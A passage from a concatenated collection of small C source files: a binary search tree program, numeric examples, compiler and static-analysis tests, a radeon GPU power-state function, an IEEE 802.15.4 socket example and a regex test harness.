struct nodeTree *left;
} nodeTree;
typedef struct tree {
struct nodeTree *root;
int count;
} tree;
void initTree(tree *t)
{
t->root = NULL;
t->count = 0;
}
void cleanNodeTree(nodeTree *n)
{
if (n == NULL) {
return;
}
if (n->left != NULL) {
cleanNodeTree(n->left);
}
if (n->right != NULL) {
cleanNodeTree(n->right);
}
free(n);
}
void cleanTree(tree *t)
{
if (t == NULL) {
return;
}
cleanNodeTree(t->root);
t->root = NULL;
t->count = 0;
}
nodeTree *findNodeInTree(tree *t, int value)
{
if (t == NULL) {
return NULL;
}
nodeTree *pNode = t->root;
while (pNode != NULL && value != pNode->value) {
pNode = (value < pNode->value) ? pNode->left : pNode->right;
}
return pNode;
}
nodeTree *findMinNodeInNode(nodeTree *n)
{
while (n != NULL) {
n = n->left;
}
return n;
}
enum nodeType
{
LEAF = 0,
FULL_ROOT,
LEFT_ROOT,
RIGHT_ROOT
};
int getNodeType(nodeTree *n)
{
if (n->left != NULL && n->right != NULL) {
return FULL_ROOT;
}
if (n->left != NULL) {
return LEFT_ROOT;
}
if (n->right != NULL) {
return RIGHT_ROOT;
}
return LEAF;
}
int removeNodeFromTree(tree* t, int value)
{
nodeTree *pNode = findNodeInTree(t, value);
if (pNode == NULL) {
return 1;
}
switch (getNodeType(pNode)) {
case FULL_ROOT: {
nodeTree *pMinNode = pNode->right;
while (pMinNode->left != NULL) {
pMinNode = pMinNode->left;
}
if (getNodeType(pMinNode) == RIGHT_ROOT) {
if (pMinNode->right->value < pMinNode->parent->value) {
pMinNode->parent->left = pMinNode->right;
} else {
pMinNode->parent->right = pMinNode->right;
}
pMinNode->right->parent = pMinNode->parent;
} else if (pMinNode->value < pMinNode->parent->value) {
pMinNode->parent->left = NULL;
} else {
pMinNode->parent->right = NULL;
}
pMinNode->parent = pNode->parent;
pMinNode->left = pNode->left;
if (pNode->left != NULL) {
pNode->left->parent = pMinNode;
}
pMinNode->right = pNode->right;
if (pNode->right != NULL) {
pNode->right->parent = pMinNode;
}
if (pMinNode->parent == NULL) {
t->root = pMinNode;
} else if (pMinNode->value < pMinNode->parent->value) {
pMinNode->parent->left = pMinNode;
} else {
pMinNode->parent->right = pMinNode;
}
break;
}
case RIGHT_ROOT: {
if (pNode->right->value < pNode->parent->value) {
pNode->parent->left = pNode->right;
} else {
pNode->parent->right = pNode->right;
}
pNode->right->parent = pNode->parent;
break;
}
case LEFT_ROOT: {
if (pNode->left->value < pNode->parent->value) {
pNode->parent->left = pNode->left;
} else {
pNode->parent->right = pNode->left;
}
pNode->left->parent = pNode->parent;
break;
}
case LEAF: {
if (pNode->parent != NULL) {
if (pNode->value < pNode->parent->value) {
pNode->parent->left = NULL;
} else {
pNode->parent->right = NULL;
}
} else {
t->root = NULL;
}
break;
}
}
free(pNode);
--t->count;
return 0;
}
nodeTree *createNode(int value, nodeTree *parent, bool inited) {
nodeTree *pNode = (nodeTree*)malloc(sizeof(nodeTree));
pNode->value = value;
pNode->inited = inited;
pNode->parent = parent;
pNode->left = NULL;
pNode->right = NULL;
return pNode;
}
int insertNodeInTree(tree* t, int value)
{
if (t == NULL) {
return 2;
}
nodeTree *pNode = t->root;
if (pNode == NULL) {
pNode = createNode(value, NULL, true);
t->root = pNode;
++t->count;
return 1;
}
nodeTree *pParentNode;
while (pNode != NULL) {
pParentNode = pNode;
if (value < pNode->value) {
pNode = pNode->left;
} else if (value > pNode->value) {
pNode = pNode->right;
} else {
return 2;
}
}
pNode = createNode(value, pParentNode, true);
if (value < pParentNode->value) {
pParentNode->left = pNode;
} else {
pParentNode->right = pNode;
}
++t->count;
return 1;
}
typedef struct nodeQueue {
nodeTree *node;
struct nodeQueue *next;
struct nodeQueue *prev;
} nodeQueue;
typedef struct queue {
nodeQueue *head;
nodeQueue *tail;
} queue;
void initQueue(queue *q)
{
q->head = NULL;
q->tail = NULL;
}
void enqueue(queue *q, nodeTree* pNodeTree) {
if (q == NULL || pNodeTree == NULL) {
return;
}
nodeQueue *pNodeQueue = (nodeQueue*)malloc(sizeof(nodeQueue));
pNodeQueue->node = pNodeTree;
pNodeQueue->prev = NULL;
pNodeQueue->next = q->head;
if (q->head == NULL) {
q->tail = pNodeQueue;
} else {
q->head->prev = pNodeQueue;
}
q->head = pNodeQueue;
}
nodeTree *dequeue(queue *q) {
if (q == NULL || q->tail == NULL) {
return NULL;
}
nodeQueue *pNodeQueue = q->tail;
nodeTree *pNodeTree = pNodeQueue->node;
q->tail = pNodeQueue->prev;
if (q->tail != NULL) {
q->tail->next = NULL;
} else {
q->head = NULL;
}
free(pNodeQueue);
return pNodeTree;
}
bool needOutputNextLevel(nodeQueue *n)
{
if (n == NULL) {
return false;
}
while (n != NULL) {
if (n->node->left != NULL || n->node->right != NULL) {
return true;
}
n = n->prev;
}
return false;
}
void printNode(nodeTree *n)
{
if (n == NULL) {
printf("-\n");
return;
}
queue *pQueue = (queue*)malloc(sizeof(queue));
initQueue(pQueue);
enqueue(pQueue, n);
nodeTree *pNode;
unsigned int i = 2;
bool bNeedOutputNextLevel = false;
while ((pNode = dequeue(pQueue)) != NULL) {
bNeedOutputNextLevel = (bNeedOutputNextLevel || pNode->left != NULL || pNode->right != NULL || needOutputNextLevel(pQueue->tail));
if (pNode->left != NULL) {
enqueue(pQueue, pNode->left);
} else if (bNeedOutputNextLevel) {
enqueue(pQueue, createNode(0, NULL, false));
}
if (pNode->right != NULL) {
enqueue(pQueue, pNode->right);
} else if (bNeedOutputNextLevel) {
enqueue(pQueue, createNode(0, NULL, false));
}
if (pNode->inited) {
printf("%d ", pNode->value);
} else {
printf("_ ");
}
if ((i & (i-1)) == 0) {
printf("\n");
bNeedOutputNextLevel = false;
}
++i;
}
}
void printTree(tree *t, bool addSpace)
{
if (t == NULL) {
printf("-\n");
}
printNode(t->root);
if (addSpace) {
printf("\n");
}
}
void findAndPrintValueInTree(tree *t, int value)
{
nodeTree *pNode = findNodeInTree(t, value);
if (pNode != NULL) {
if (pNode->parent != NULL) {
printf("%d ", pNode->parent->value);
} else {
printf("_ ");
}
if (pNode->left != NULL) {
printf("%d ", pNode->left->value);
} else {
printf("_ ");
}
if (pNode->right != NULL) {
printf("%d ", pNode->right->value);
} else {
printf("_ ");
}
} else {
printf("-");
}
printf("\n\n");
}
int rotateRight(tree* t) {
nodeTree *pNode = t->root;
if (pNode != NULL && pNode->left != NULL) {
t->root = pNode->left;
nodeTree *tmpNode = pNode->left->right;
pNode->left->right = pNode;
pNode->parent = pNode->left;
pNode->left->parent = NULL;
pNode->left = tmpNode;
if (tmpNode != NULL) {
tmpNode->parent = pNode;
}
return 0;
}
return 1;
}
int rotateLeft(tree* t)
{
nodeTree *pNode = t->root;
if (pNode != NULL && pNode->right != NULL) {
t->root = pNode->right;
nodeTree *tmpNode = pNode->right->left;
pNode->right->left = pNode;
pNode->parent = pNode->right;
pNode->right->parent = NULL;
pNode->right = tmpNode;
if (tmpNode != NULL) {
tmpNode->parent = pNode;
}
return 0;
}
return 1;
}
int main()
{
tree* pTree = (tree*)malloc(sizeof(tree));
initTree(pTree);
int a;
unsigned char args;
for (unsigned char i = 0; i < 4; ++i) {
args = scanf("%d", &a);
if (args != 1) {
return 1;
}
insertNodeInTree(pTree, a);
}
printTree(pTree, true);
for (unsigned char i = 0; i < 3; ++i) {
args = scanf("%d", &a);
if (args != 1) {
return 2;
}
insertNodeInTree(pTree, a);
}
printTree(pTree, true);
for (unsigned char i = 0; i < 2; ++i) {
args = scanf("%d", &a);
if (args != 1) {
return 3;
}
findAndPrintValueInTree(pTree, a);
}
args = scanf("%d", &a);
if (args != 1) {
return 4;
}
removeNodeFromTree(pTree, a);
printTree(pTree, true);
a = 0;
while (a == 0) {
a = rotateLeft(pTree);
}
printTree(pTree, true);
a = 0;
while (a == 0) {
a = rotateRight(pTree);
}
printTree(pTree, true);
printf("%d\n\n", pTree->count);
cleanTree(pTree);
printTree(pTree, false);
free(pTree);
return 0;
}
|
the_stack_data/40763300.c | extern const unsigned char MaterialFieldsVersionString[];
extern const double MaterialFieldsVersionNumber;
const unsigned char MaterialFieldsVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:MaterialFields PROJECT:MaterialFields-1" "\n";
const double MaterialFieldsVersionNumber __attribute__ ((used)) = (double)1.;
|
the_stack_data/131679.c | #include<stdio.h>
#define SIZE 12
int main( void ){
int s[SIZE] = {1, 3, 5, 4, 7, 2, 99, 16, 45, 67, 89, 45};
int j;
int total = 0;
for(j = 0; j < SIZE; j++){
total += s[j];
}
printf("Total de valores dos elementos do array eh %d\n", total);
return 0;
}
|
the_stack_data/981049.c | #include <stdio.h>
double factorial(unsigned int i)
{
if (i <= 1)
{
return 1;
}
return i * factorial(i - 1);
}
int main()
{
int i = 15;
printf("%d 的阶乘为 %f\n", i, factorial(i));
return 0;
} |
the_stack_data/95551.c | //PARAM: --enable ana.int.congruence --enable ana.int.congruence_no_overflow --disable ana.int.def_exc --disable ana.int.enums
// Examples taken from P. Granger "Static analysis of arithmetical congruences" (1989, International Journal of Computer Mathematics)
// https://doi.org/10.1080/00207168908803778
int main() {
int a = 1;
int b = 2;
int c = 3;
int d = 4;
int e = 0;
while (d < 9) {
b = 2 * a;
d = d + 4;
e = e - 4 * a;
a = b - a;
c = e + d;
}
a = d / 2;
b = d % 2;
// c is unknown
assert (c == 4); // UNKNOWN
// d should be 12 in the concrete domain and 4Z in the congr. domain
assert (d != 1); assert (d != 2); assert (d != 3);
assert (d == 12); // UNKNOWN
// a should be 6 in the concrete domain and 2Z in the congr. domain
assert (a == 6); // UNKNOWN
// e should be -8 in the concrete domain and 4Z in the congr. domain
assert (e == -8); // UNKNOWN
assert (b == 0);
return 0;
}
|
the_stack_data/433377.c | #include <stdio.h>
void main(){
int n1=0,n2=0;
printf("Enter the numbers\n");
scanf("%d",&n1);
scanf("%d",&n2);
printf("\nBetween %d & %d, %d is maximum", n1, n2, maximum(n1,n2));
}
int maximum(int a,int b){
return (a>=b)?a:b;
} |
the_stack_data/220455370.c | /***********************************************************
spline.c -- スプライン補間
***********************************************************/
/* 非周期関数用 */
#define N 5
double x[N] = { 0, 10, 20, 30, 40 },
y[N] = { 610.66, 1227.4, 2338.1, 4244.9, 7381.2 },
z[N];
void maketable(double x[], double y[], double z[])
{
int i;
double t;
static double h[N], d[N];
z[0] = 0; z[N - 1] = 0; /* 両端点での y''(x) / 6 */
for (i = 0; i < N - 1; i++) {
h[i ] = x[i + 1] - x[i];
d[i + 1] = (y[i + 1] - y[i]) / h[i];
}
z[1] = d[2] - d[1] - h[0] * z[0];
d[1] = 2 * (x[2] - x[0]);
for (i = 1; i < N - 2; i++) {
t = h[i] / d[i];
z[i + 1] = d[i + 2] - d[i + 1] - z[i] * t;
d[i + 1] = 2 * (x[i + 2] - x[i]) - h[i] * t;
}
z[N - 2] -= h[N - 2] * z[N - 1];
for (i = N - 2; i > 0; i--)
z[i] = (z[i] - h[i] * z[i + 1]) / d[i];
}
double spline(double t, double x[], double y[], double z[])
{
int i, j, k;
double d, h;
i = 0; j = N - 1;
while (i < j) {
k = (i + j) / 2;
if (x[k] < t) i = k + 1; else j = k;
}
if (i > 0) i--;
h = x[i + 1] - x[i]; d = t - x[i];
return (((z[i + 1] - z[i]) * d / h + z[i] * 3) * d
+ ((y[i + 1] - y[i]) / h
- (z[i] * 2 + z[i + 1]) * h)) * d + y[i];
}
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int i;
maketable(x, y, z);
for (i = 10; i <= 30; i++)
printf("%3d %6.1f\n", i, spline(i, x, y, z));
return 0;
}
|
the_stack_data/161080113.c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_14__ TYPE_7__ ;
typedef struct TYPE_13__ TYPE_6__ ;
typedef struct TYPE_12__ TYPE_5__ ;
typedef struct TYPE_11__ TYPE_4__ ;
typedef struct TYPE_10__ TYPE_3__ ;
typedef struct TYPE_9__ TYPE_2__ ;
typedef struct TYPE_8__ TYPE_1__ ;
/* Type definitions */
typedef int u32 ;
typedef scalar_t__ u16 ;
struct radeon_ps {scalar_t__ vce_active; scalar_t__ dclk; scalar_t__ vclk; scalar_t__ ecclk; scalar_t__ evclk; } ;
struct radeon_clock_and_voltage_limits {int mclk; int sclk; scalar_t__ vddc; scalar_t__ vddci; } ;
struct TYPE_11__ {struct radeon_clock_and_voltage_limits max_clock_voltage_on_dc; int /*<<< orphan*/ vddc_dependency_on_dispclk; int /*<<< orphan*/ vddc_dependency_on_mclk; int /*<<< orphan*/ vddci_dependency_on_mclk; int /*<<< orphan*/ vddc_dependency_on_sclk; struct radeon_clock_and_voltage_limits max_clock_voltage_on_ac; } ;
struct TYPE_12__ {size_t vce_level; int new_active_crtc_count; int ac_power; TYPE_4__ dyn_state; TYPE_2__* vce_states; } ;
struct TYPE_13__ {TYPE_5__ dpm; } ;
struct TYPE_10__ {int current_dispclk; } ;
struct radeon_device {scalar_t__ family; TYPE_6__ pm; TYPE_3__ clock; TYPE_1__* pdev; } ;
struct ni_ps {int performance_level_count; int dc_compatible; TYPE_7__* performance_levels; } ;
struct TYPE_14__ {scalar_t__ vddc; int mclk; int sclk; scalar_t__ vddci; } ;
struct TYPE_9__ {int sclk; int mclk; scalar_t__ ecclk; scalar_t__ evclk; } ;
struct TYPE_8__ {int revision; int device; } ;
/* Variables and functions */
scalar_t__ CHIP_HAINAN ;
scalar_t__ CHIP_OLAND ;
int /*<<< orphan*/ btc_adjust_clock_combinations (struct radeon_device*,struct radeon_clock_and_voltage_limits*,TYPE_7__*) ;
int /*<<< orphan*/ btc_apply_voltage_delta_rules (struct radeon_device*,scalar_t__,scalar_t__,scalar_t__*,scalar_t__*) ;
int /*<<< orphan*/ btc_apply_voltage_dependency_rules (int /*<<< orphan*/ *,int,scalar_t__,scalar_t__*) ;
int /*<<< orphan*/ btc_get_max_clock_from_voltage_dependency_table (int /*<<< orphan*/ *,int*) ;
scalar_t__ ni_dpm_vblank_too_short (struct radeon_device*) ;
struct ni_ps* ni_get_ps (struct radeon_ps*) ;
int /*<<< orphan*/ si_get_vce_clock_voltage (struct radeon_device*,scalar_t__,scalar_t__,scalar_t__*) ;
__attribute__((used)) static void si_apply_state_adjust_rules(struct radeon_device *rdev,
struct radeon_ps *rps)
{
struct ni_ps *ps = ni_get_ps(rps);
struct radeon_clock_and_voltage_limits *max_limits;
bool disable_mclk_switching = false;
bool disable_sclk_switching = false;
u32 mclk, sclk;
u16 vddc, vddci, min_vce_voltage = 0;
u32 max_sclk_vddc, max_mclk_vddci, max_mclk_vddc;
u32 max_sclk = 0, max_mclk = 0;
int i;
if (rdev->family == CHIP_HAINAN) {
if ((rdev->pdev->revision == 0x81) ||
(rdev->pdev->revision == 0x83) ||
(rdev->pdev->revision == 0xC3) ||
(rdev->pdev->device == 0x6664) ||
(rdev->pdev->device == 0x6665) ||
(rdev->pdev->device == 0x6667)) {
max_sclk = 75000;
}
if ((rdev->pdev->revision == 0xC3) ||
(rdev->pdev->device == 0x6665)) {
max_sclk = 60000;
max_mclk = 80000;
}
} else if (rdev->family == CHIP_OLAND) {
if ((rdev->pdev->revision == 0xC7) ||
(rdev->pdev->revision == 0x80) ||
(rdev->pdev->revision == 0x81) ||
(rdev->pdev->revision == 0x83) ||
(rdev->pdev->revision == 0x87) ||
(rdev->pdev->device == 0x6604) ||
(rdev->pdev->device == 0x6605)) {
max_sclk = 75000;
}
}
if (rps->vce_active) {
rps->evclk = rdev->pm.dpm.vce_states[rdev->pm.dpm.vce_level].evclk;
rps->ecclk = rdev->pm.dpm.vce_states[rdev->pm.dpm.vce_level].ecclk;
si_get_vce_clock_voltage(rdev, rps->evclk, rps->ecclk,
&min_vce_voltage);
} else {
rps->evclk = 0;
rps->ecclk = 0;
}
if ((rdev->pm.dpm.new_active_crtc_count > 1) ||
ni_dpm_vblank_too_short(rdev))
disable_mclk_switching = true;
if (rps->vclk || rps->dclk) {
disable_mclk_switching = true;
disable_sclk_switching = true;
}
if (rdev->pm.dpm.ac_power)
max_limits = &rdev->pm.dpm.dyn_state.max_clock_voltage_on_ac;
else
max_limits = &rdev->pm.dpm.dyn_state.max_clock_voltage_on_dc;
for (i = ps->performance_level_count - 2; i >= 0; i--) {
if (ps->performance_levels[i].vddc > ps->performance_levels[i+1].vddc)
ps->performance_levels[i].vddc = ps->performance_levels[i+1].vddc;
}
if (rdev->pm.dpm.ac_power == false) {
for (i = 0; i < ps->performance_level_count; i++) {
if (ps->performance_levels[i].mclk > max_limits->mclk)
ps->performance_levels[i].mclk = max_limits->mclk;
if (ps->performance_levels[i].sclk > max_limits->sclk)
ps->performance_levels[i].sclk = max_limits->sclk;
if (ps->performance_levels[i].vddc > max_limits->vddc)
ps->performance_levels[i].vddc = max_limits->vddc;
if (ps->performance_levels[i].vddci > max_limits->vddci)
ps->performance_levels[i].vddci = max_limits->vddci;
}
}
/* limit clocks to max supported clocks based on voltage dependency tables */
btc_get_max_clock_from_voltage_dependency_table(&rdev->pm.dpm.dyn_state.vddc_dependency_on_sclk,
&max_sclk_vddc);
btc_get_max_clock_from_voltage_dependency_table(&rdev->pm.dpm.dyn_state.vddci_dependency_on_mclk,
&max_mclk_vddci);
btc_get_max_clock_from_voltage_dependency_table(&rdev->pm.dpm.dyn_state.vddc_dependency_on_mclk,
&max_mclk_vddc);
for (i = 0; i < ps->performance_level_count; i++) {
if (max_sclk_vddc) {
if (ps->performance_levels[i].sclk > max_sclk_vddc)
ps->performance_levels[i].sclk = max_sclk_vddc;
}
if (max_mclk_vddci) {
if (ps->performance_levels[i].mclk > max_mclk_vddci)
ps->performance_levels[i].mclk = max_mclk_vddci;
}
if (max_mclk_vddc) {
if (ps->performance_levels[i].mclk > max_mclk_vddc)
ps->performance_levels[i].mclk = max_mclk_vddc;
}
if (max_mclk) {
if (ps->performance_levels[i].mclk > max_mclk)
ps->performance_levels[i].mclk = max_mclk;
}
if (max_sclk) {
if (ps->performance_levels[i].sclk > max_sclk)
ps->performance_levels[i].sclk = max_sclk;
}
}
/* XXX validate the min clocks required for display */
if (disable_mclk_switching) {
mclk = ps->performance_levels[ps->performance_level_count - 1].mclk;
vddci = ps->performance_levels[ps->performance_level_count - 1].vddci;
} else {
mclk = ps->performance_levels[0].mclk;
vddci = ps->performance_levels[0].vddci;
}
if (disable_sclk_switching) {
sclk = ps->performance_levels[ps->performance_level_count - 1].sclk;
vddc = ps->performance_levels[ps->performance_level_count - 1].vddc;
} else {
sclk = ps->performance_levels[0].sclk;
vddc = ps->performance_levels[0].vddc;
}
if (rps->vce_active) {
if (sclk < rdev->pm.dpm.vce_states[rdev->pm.dpm.vce_level].sclk)
sclk = rdev->pm.dpm.vce_states[rdev->pm.dpm.vce_level].sclk;
if (mclk < rdev->pm.dpm.vce_states[rdev->pm.dpm.vce_level].mclk)
mclk = rdev->pm.dpm.vce_states[rdev->pm.dpm.vce_level].mclk;
}
/* adjusted low state */
ps->performance_levels[0].sclk = sclk;
ps->performance_levels[0].mclk = mclk;
ps->performance_levels[0].vddc = vddc;
ps->performance_levels[0].vddci = vddci;
if (disable_sclk_switching) {
sclk = ps->performance_levels[0].sclk;
for (i = 1; i < ps->performance_level_count; i++) {
if (sclk < ps->performance_levels[i].sclk)
sclk = ps->performance_levels[i].sclk;
}
for (i = 0; i < ps->performance_level_count; i++) {
ps->performance_levels[i].sclk = sclk;
ps->performance_levels[i].vddc = vddc;
}
} else {
for (i = 1; i < ps->performance_level_count; i++) {
if (ps->performance_levels[i].sclk < ps->performance_levels[i - 1].sclk)
ps->performance_levels[i].sclk = ps->performance_levels[i - 1].sclk;
if (ps->performance_levels[i].vddc < ps->performance_levels[i - 1].vddc)
ps->performance_levels[i].vddc = ps->performance_levels[i - 1].vddc;
}
}
if (disable_mclk_switching) {
mclk = ps->performance_levels[0].mclk;
for (i = 1; i < ps->performance_level_count; i++) {
if (mclk < ps->performance_levels[i].mclk)
mclk = ps->performance_levels[i].mclk;
}
for (i = 0; i < ps->performance_level_count; i++) {
ps->performance_levels[i].mclk = mclk;
ps->performance_levels[i].vddci = vddci;
}
} else {
for (i = 1; i < ps->performance_level_count; i++) {
if (ps->performance_levels[i].mclk < ps->performance_levels[i - 1].mclk)
ps->performance_levels[i].mclk = ps->performance_levels[i - 1].mclk;
if (ps->performance_levels[i].vddci < ps->performance_levels[i - 1].vddci)
ps->performance_levels[i].vddci = ps->performance_levels[i - 1].vddci;
}
}
for (i = 0; i < ps->performance_level_count; i++)
btc_adjust_clock_combinations(rdev, max_limits,
&ps->performance_levels[i]);
for (i = 0; i < ps->performance_level_count; i++) {
if (ps->performance_levels[i].vddc < min_vce_voltage)
ps->performance_levels[i].vddc = min_vce_voltage;
btc_apply_voltage_dependency_rules(&rdev->pm.dpm.dyn_state.vddc_dependency_on_sclk,
ps->performance_levels[i].sclk,
max_limits->vddc, &ps->performance_levels[i].vddc);
btc_apply_voltage_dependency_rules(&rdev->pm.dpm.dyn_state.vddci_dependency_on_mclk,
ps->performance_levels[i].mclk,
max_limits->vddci, &ps->performance_levels[i].vddci);
btc_apply_voltage_dependency_rules(&rdev->pm.dpm.dyn_state.vddc_dependency_on_mclk,
ps->performance_levels[i].mclk,
max_limits->vddc, &ps->performance_levels[i].vddc);
btc_apply_voltage_dependency_rules(&rdev->pm.dpm.dyn_state.vddc_dependency_on_dispclk,
rdev->clock.current_dispclk,
max_limits->vddc, &ps->performance_levels[i].vddc);
}
for (i = 0; i < ps->performance_level_count; i++) {
btc_apply_voltage_delta_rules(rdev,
max_limits->vddc, max_limits->vddci,
&ps->performance_levels[i].vddc,
&ps->performance_levels[i].vddci);
}
ps->dc_compatible = true;
for (i = 0; i < ps->performance_level_count; i++) {
if (ps->performance_levels[i].vddc > rdev->pm.dpm.dyn_state.max_clock_voltage_on_dc.vddc)
ps->dc_compatible = false;
}
} |
the_stack_data/68888055.c | /* Test from Jacques-Henri Jourdan and Francois Pottier TOPLAS 2017:
* "A simple, possibly correct LR parser for C11"
*/
typedef int T, U, V;
int x;
int f(void) {
x = sizeof(enum {T});
label: x = sizeof(enum {U});
return sizeof(enum {V});
x = T + U + V;
}
|
the_stack_data/75017.c | /*
* IEEE 802.15.4 socket example
*
* Copyright (C) 2016 Samsung Electronics Co., Ltd.
*
* Author: Stefan Schmidt <[email protected]>
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/* gcc af_ieee802154_tx.c -o af_ieee802154_tx */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#define IEEE802154_ADDR_LEN 8
#define MAX_PACKET_LEN 127
#define EXTENDED 1
enum {
IEEE802154_ADDR_NONE = 0x0,
IEEE802154_ADDR_SHORT = 0x2,
IEEE802154_ADDR_LONG = 0x3,
};
struct ieee802154_addr_sa {
int addr_type;
uint16_t pan_id;
union {
uint8_t hwaddr[IEEE802154_ADDR_LEN];
uint16_t short_addr;
};
};
struct sockaddr_ieee802154 {
sa_family_t family;
struct ieee802154_addr_sa addr;
};
int main(int argc, char *argv[]) {
int sd;
ssize_t len;
struct sockaddr_ieee802154 dst;
unsigned char buf[MAX_PACKET_LEN + 1];
/* IEEE 802.15.4 extended send address, adapt to your setup */
uint8_t long_addr[IEEE802154_ADDR_LEN] = {0xd6, 0x55, 0x2c, 0xd6, 0xe4, 0x1c, 0xeb, 0x57};
/* Create IEEE 802.15.4 address family socket for the SOCK_DGRAM type */
sd = socket(PF_IEEE802154, SOCK_DGRAM, 0);
if (sd < 0) {
perror("socket");
return 1;
}
/* Prepare destination socket address struct */
memset(&dst, 0, sizeof(dst));
dst.family = AF_IEEE802154;
/* Used PAN ID is 0x23 here, adapt to your setup */
dst.addr.pan_id = 0x0023;
#if EXTENDED /* IEEE 802.15.4 extended address usage */
dst.addr.addr_type = IEEE802154_ADDR_LONG;
memcpy(&dst.addr.hwaddr, long_addr, IEEE802154_ADDR_LEN);
#else
dst.addr.addr_type = IEEE802154_ADDR_SHORT;
dst.addr.short_addr = 0x0002;
#endif
sprintf(buf, "Hello world from IEEE 802.15.4 socket example!");
/* sendto() is used for implicity in this example, bin()/send() would
* be an alternative */
len = sendto(sd, buf, strlen(buf), 0, (struct sockaddr *)&dst, sizeof(dst));
if (len < 0) {
perror("sendto");
}
shutdown(sd, SHUT_RDWR);
close(sd);
return 0;
}
|
the_stack_data/218894203.c | #include <stdio.h>
main ()
{
int c, i, j, length, n_chars = '~' - ' ' + 1;
int counts[n_chars];
for (i = 0; i < n_chars; i++)
counts[i] = 0;
while ((c = getchar()) != EOF)
if (c >= ' ' && c <= '~')
counts[c - ' ']++;
for (i = 0; i < n_chars; i++) {
printf("%c: ", i + ' ');
for (j = 0; j < counts[i]; j++)
printf("#");
printf("\n");
}
}
|
the_stack_data/179831152.c | #include <regex.h>
#include <stdio.h>
#include <unistd.h>
// gcc -g test/manual/mygrep.c -o mygrep
// This was written to be able to compare the behavior of gnu extended regex
// (glibc default) with the pcre2 implementation we're evauating.
// The grep on my system doesn't use gnu extended regex (it's actually using
// libpcre.so.3!) so it wasn't a useful tool to evaluate the behavior.
//
// for example:
// $ echo "{HEY}" | contrib/pcre2/build/pcre2grep '{HEY}'
// {HEY}
// $ echo "{HEY}" | grep -E '{HEY}'
// {HEY}
// $ echo "{HEY}" | ./mygrep '{HEY}'
// executing mygrep
// compiling {HEY} ... failed.
int
main(int argc, char* argv[])
{
printf("executing mygrep\n");
if (argc != 2) {
printf("exiting with error. Expected one argument.\n");
return -1;
}
printf(" compiling %s ...", argv[1]);
regex_t regex;
if (regcomp(®ex, argv[1], REG_EXTENDED | REG_NOSUB)) {
printf(" failed.\n");
return -1;
} else {
printf(" success.\n");
}
printf(" reading from stdin...");
char stdinbuf[4096];
int stdinbytes = read( STDIN_FILENO , stdinbuf, sizeof(stdinbuf)-1);
if (stdinbytes == sizeof(stdinbuf) -1) {
printf(" failed. Too many bytes read\n");
return -1;
} else if (stdinbytes == -1) {
printf(" failed.\n");
return -1;
} else {
printf(" success.\n");
}
stdinbuf[stdinbytes] = '\0';
printf(" executing %s against input %s\n", argv[1], stdinbuf);
if (regexec(®ex, stdinbuf, 0, NULL, 0)) {
printf("No match\n");
return -1;
} else {
printf("Match!\n");
}
return 0;
}
|
the_stack_data/43887078.c | // RUN: %clang -target x86_64 -emit-llvm -S -g %s -o - | FileCheck %s
#define _(x) (__builtin_preserve_access_index(x))
const void *unit1(const void *arg) {
return _(arg);
}
// CHECK: define dso_local i8* @unit1
// CHECK-NOT: llvm.preserve.array.access.index
// CHECK-NOT: llvm.preserve.struct.access.index
// CHECK-NOT: llvm.preserve.union.access.index
const void *unit2(void) {
return _((const void *)0xffffffffFFFF0000ULL);
}
// CHECK: define dso_local i8* @unit2
// CHECK-NOT: llvm.preserve.array.access.index
// CHECK-NOT: llvm.preserve.struct.access.index
// CHECK-NOT: llvm.preserve.union.access.index
const void *unit3(const int *arg) {
return _(arg + 1);
}
// CHECK: define dso_local i8* @unit3
// CHECK-NOT: llvm.preserve.array.access.index
// CHECK-NOT: llvm.preserve.struct.access.index
// CHECK-NOT: llvm.preserve.union.access.index
const void *unit4(const int *arg) {
return _(&arg[1]);
}
// CHECK: define dso_local i8* @unit4
// CHECK-NOT: getelementptr
// CHECK: call i32* @llvm.preserve.array.access.index.p0i32.p0i32(i32* elementtype(i32) %{{[0-9a-z]+}}, i32 0, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[POINTER:[0-9]+]]
const void *unit5(const int *arg[5]) {
return _(&arg[1][2]);
}
// CHECK: define dso_local i8* @unit5
// CHECK-NOT: getelementptr
// CHECK: call i32** @llvm.preserve.array.access.index.p0p0i32.p0p0i32(i32** elementtype(i32*) %{{[0-9a-z]+}}, i32 0, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index !{{[0-9]+}}
// CHECK-NOT: getelementptr
// CHECK: call i32* @llvm.preserve.array.access.index.p0i32.p0i32(i32* elementtype(i32) %{{[0-9a-z]+}}, i32 0, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[POINTER:[0-9]+]]
struct s1 {
char a;
int b;
};
struct s2 {
char a1:1;
char a2:1;
int b;
};
struct s3 {
char a1:1;
char a2:1;
char :6;
int b;
};
const void *unit6(struct s1 *arg) {
return _(&arg->a);
}
// CHECK: define dso_local i8* @unit6
// CHECK-NOT: getelementptr
// CHECK: call i8* @llvm.preserve.struct.access.index.p0i8.p0s_struct.s1s(%struct.s1* elementtype(%struct.s1) %{{[0-9a-z]+}}, i32 0, i32 0), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_S1:[0-9]+]]
const void *unit7(struct s1 *arg) {
return _(&arg->b);
}
// CHECK: define dso_local i8* @unit7
